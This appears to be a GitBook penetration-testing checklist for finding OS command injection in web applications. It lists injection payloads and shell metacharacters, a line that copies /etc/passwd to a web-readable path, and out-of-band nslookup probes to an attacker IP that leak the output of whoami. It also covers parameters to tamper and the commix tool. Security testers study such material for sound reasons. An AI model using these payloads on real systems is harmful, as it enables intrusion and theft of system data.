Passion
  • What is this GitBook about ?
  • Privilege Escalation
    • Linux
    • Windows
  • Network Security
    • Port Scanning
    • DNS Enumeration
    • FTP Enumeration
    • SSH Enumeration
    • SMB Enumeration
    • SMTP Enumeration
    • POP3 Enumeration
  • Checklists
    • Active Directory Security
    • OS Command Injection
    • Buffer Overflow
    • Broken Access Control
    • Local File Inclusion
    • SSRF
    • XXE Attacks
    • SQL Injection
    • XSS
  • WebApp Security
    • Local File Inclusion
    • File Upload Attacks
      • IIS Server File Upload
      • Escaping Sandbox via File Upload
    • Broken Access Control
      • Vertical PrivEsc
      • Horizontal PrivEsc
      • Horizontal => Vertical
    • OS Command Injection
    • SSTI
      • Finding the Injection Point
      • Indentification
      • Exploitation
    • XXE Attacks
      • XXE to LFI
      • XXE to SSRF
      • XXE via File upload
      • XInclude Attacks
      • Blind XXE Attacks
        • Identification
        • Exploitation
        • Blind XXE to LFI
        • Blind XXE by defining Local DTD
    • SQL Injection
    • Server Side Request Forgery
      • Various Attack Methods
      • Exploiting Blind SSRF
    • OAuth Attacks
      • In Password-Based Logins
    • XSS
      • Reflected XSS
      • Stored XSS
      • DOM XSS
      • Blind XSS
      • Perfecting our Payload
      • Exploiting Blind XSS
  • WebApp Mitigations
    • SSTI
  • Docker Security
    • Configuration
    • Ngnix Deployment
  • ☁️Cloud Security
    • AWS
      • Cloud Breach S3
      • IAM PrivEsc - RollBack
      • IAM PrivEsc - Attachment
Powered by GitBook
On this page
  1. Checklists

OS Command Injection

  • Found any parameter which fetches for data like "siteID=1", in the HTTP response body then tamper it using :

; whoami
; id
; pwd
  • Check the feedback form for any Blind OS injection, tamper the email section with the ping command :

||ping -c 5 127.0.0.1||
|| cat /etc/passwd > /var/www/images/passwd.txt -> access it by tampering any of the image file
  • Check for any out-of-band network interaction using the Burp collaborator client tab / ngrok

||nslookup <BURP COLLABORATOR>||
||nslookup <ATTACKER IP>||
||nslookup `whoami` <ATTACKER IP>||
  • Meta Characters for OS injections attacks, Both for UNIX and Windows :

&
&&
|
||
-------------------------------Only UNIX-------------------------------------------
;
0x0a
\n
`whoami`
$(whoami)

Note

Sometimes, the input that you control appears within quotation marks in the original command. In this situation, you need to terminate the quoted context (using " or ') before using suitable shell metacharacters to inject a new command.

  • While submitting a file or uploading it to check for file-upload vulnerabilities, Do tamper the filename parameter for any blind injections

`sleep 10`

Found any search parameter on the domain page, do not hesitate to :

/?search=%00{.exec|ping 127.0.0.1}
  • Common parameters for testing :

/?query=
/?email=
/?id=
/?username=
/?user=
/?to=
/?from=
/?search=
/?q=
/?s=
/?shopID=
/?blogID=
/?phone=
/?mode=
/?next=
/?firstname=
/?lastname=
/?locale=
/?cmd=
/?sys=
/?system=
  • To automate all this, We have a best automation tool to detect command injection vulns :

PreviousActive Directory SecurityNextBuffer Overflow

Last updated 2 years ago

LogoGitHub - commixproject/commix: Automated All-in-One OS Command Injection Exploitation Tool.GitHub
Commix Github